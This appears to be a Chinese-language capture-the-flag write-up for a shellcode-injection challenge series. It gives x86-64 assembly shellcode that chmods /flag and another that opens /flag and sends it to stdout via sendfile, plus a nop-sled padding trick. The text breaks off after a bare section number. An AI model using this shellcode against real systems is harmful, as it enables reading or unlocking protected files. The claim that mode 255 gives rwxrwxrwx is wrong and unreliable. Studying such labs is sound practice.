1 | chmod

题目描述：

```
This challenge reads in some bytes, modifies
them (depending on the specific challenge
configuration), and executes them
as code! This is a common exploitation
scenario, called `code injection`. Through
this series of challenges, you will
practice your shellcode writing skills under
various constraints! To ensure that you are
shellcoding, rather than doing
other tricks, this will sanitize all
environment variables and arguments and close
all file descriptors > 2.

[LEAK] Placing shellcode on the stack at
0x7ffe1831d700!
In this challenge, shellcode will be copied
onto the stack and executed. Since the stack
location is randomized on every
execution, your shellcode will need to be
*position-independent*.

Reading 0x1000 bytes from stdin.
```

真算是给我整吐了。

exp:(使用ipython)

```
;chmod
mov rbx,0x0067616c662f
push rbx
mov rdi,rsp
mov rsi,255
mov rdx,0
mov rax,90
syscall
```

如下图:

注意，第四个参数是r10

%rax	System call	%rdi	%rsi	%rdx	%r10	%r8	%r9
90	sys_chmod	const char *filename	mode_t mode				

我要做的是，修改/flag文件的权限。

- 第一个参数，rdi，要求是一个指针（注意），千万不要让rdi里面的值是“/flag”的hex形式，而应当是一个地址，这个地址指向字符串“/flag”的hex形式。
- 第二个参数为mode，类型是mode_t

```
#define S_IRWXU 0000700    /* RWX mask for
owner */
#define S_IRUSR 0000400    /* R for owner */
```

```
#define S_IWUSR 0000200    /* W for owner */
#define S_IXUSR 0000100    /* X for owner */

#define S_IRWXG 0000070    /* RWX mask for
group */
#define S_IRGRP 0000040    /* R for group */
#define S_IWGRP 0000020    /* W for group */
#define S_IXGRP 0000010    /* X for group */

#define S_IRWXO 0000007    /* RWX mask for
other */
#define S_IROTH 0000004    /* R for other */
#define S_IWOTH 0000002    /* W for other */
#define S_IXOTH 0000001    /* X for other */

#define S_ISUID 0004000    /* set user id on
execution */
#define S_ISGID 0002000    /* set group id on
execution */
#define S_ISVTX 0001000    /* save swapped
text even after use */
```

如下图所示：

	Read?	Write?	Execute?
Owner	`S_IRUSR = 1 << 8`	`S_IWUSR = 1 << 7`	`S_IXUSR = 1 << 6`
Group	`S_IRGRP = 1 << 5`	`S_IWGRP = 1 << 4`	`S_IXGRP = 1 << 3`
Other	`S_IROTH = 1 << 2`	`S_IWOTH = 1 << 1`	`S_IXOTH = 1 << 0`

也就是说，mode_t是一个数值。它是8位二进制数。

`111111111`，全是1，也就是权限应该是`rwxrwxrwx`(当然实际情况会有所不同，但是基本上就是这样)

然后我们就拥有了cat /flag的权限了。

或者直接调用snedfile

```
;open("/flag",0)，也就是readonly

mov rbx,0x0067616c662f
push rbx
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

;返回的fd存放在rax里面
```

```
mov rdi,1
mov rsi,rax
mov rdx,0

;mov rcx,1000
;rcx is not used for passing parameters

mov r10,1024
mov rax,40

;system call sendfile()

syscall
```

2|.rept/.endr

主要是什么呢，就是防止垃圾数据。

使用`.rept`和`.endr`

exp就抄第一个的，前面加上

```
.rept 0x800
nop
.endr
```

3